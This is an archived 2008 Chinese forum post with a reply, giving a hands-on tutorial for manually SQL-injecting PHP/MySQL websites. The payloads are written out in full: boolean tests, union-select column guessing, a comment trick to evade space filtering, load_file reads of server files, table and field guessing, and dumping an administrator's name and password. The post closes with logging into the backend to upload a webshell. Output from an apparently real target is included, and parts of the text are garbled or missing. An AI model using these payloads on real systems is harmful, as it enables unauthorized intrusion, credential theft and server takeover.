建站铺's Archiver

我是人 发表于 2008-7-2 14:05

教你如何轻松手工拿下php

注入点:

1.认识注入类型

不管是asp.aspx.php,注入的标准类型必为




2.判断是否存在注入
不管是asp.aspx.php,注入点的判断都是这样的
and1=1返回正常页
and1=2,返回错误页

存在注入

3.猜解准确字段数
(不明白原理的请多看看这方面的文章,这只讲实际运用)
利用union来查询准确字段,如:and1=2unionselect1,2,3,.......直到返回正常,说明猜到准确字

段数。如过滤了空格可以用/**/代替。

and1=2unionselect1,2,3,4,5,6,7


记下这个位置,3和5

4.mysql也有内置变量,可以帮助我们获得更多信息
version()(4.0.21-nt)返回当前库版本信息,database(){db_atextile_org_cn}返回当前库

名,user(),{tt1330@localhost}返回MYSQL用户名,可以帮助我们获得更多信息。这些都是很基础的东西

现在就在3和5这插入


(),4,5,6,7
Load_file可以返回文件的内容
(1),读取系统信息
[bootloader]timeout=30default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS[operating

systems]multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="WindowsServer2003,Enterprise"

/fastdetect/NoExecute=OptOutmulti(0)disk(0)rdisk(1)partition(1)\WINDOWS="BootMirrorC:-

secondaryplex"multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="BootMirrorC:-secondary

plex"

(2)读取php配置信息

我们转化一下,
load_file('c:\boot.ini')=load_file(char(99,58,92,98,111,111,116,46,105,110,105))


5.准确猜解表
如:and1=1unionselect1,2,3,4,5,6....fromuser如果返回正常说明存在这个表。
and1=1unionselect1,2,3,4,5,6,7fromadmin
说明没有admin表
and1=1unionselect1,2,3,4,5,6,7fromuser
正常说明有这个表

6.猜解表中的字段
and1=1unionselect1,username,3,4,5,6....fromuser/*如果字段显示出字段内容则存在些字段。
and1=1unionselect1,2,user,4,5,6,7fromuser
and1=1unionselect1,2,name,4,5,6,7fromuser
有字段name
同理再猜解password字段,猜解成功再找后台登录。
and1=1unionselect1,2,pass,4,5,6,7fromuser
and1=1unionselect1,2,pwd,4,5,6,7fromuser
有字段pwd


7.暴管理员的用户名,密码是多少
and1=2unionselect1,2,3,4,5,6,7fromuser
and1=2unionselect1,2,pwd,4,name,6,7fromuser

name:admin
pwd:83863176
7.登录后台,上传shell。

[[i] 本帖最后由 我是人 于 2008-7-2 14:11 编辑 [/i]]

佛山黄飞虎 发表于 2008-7-2 14:33

又学习了一招又学习了一招

页: [1]
铺子法律顾问:姚文胜律师 熊潇敏律师 本论坛的源码只做研究学习只用,请下载以后24小时内删除,如预时不删除,引起的后果,本论坛不承担任何责任
本站资源大多来自网络,如原作不希望在本站显示你的软件(文章)请来信,我们将尽快删除。拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论!

Powered by jzpu.com 6.1.0  © 2001-2007 Comsenz Inc.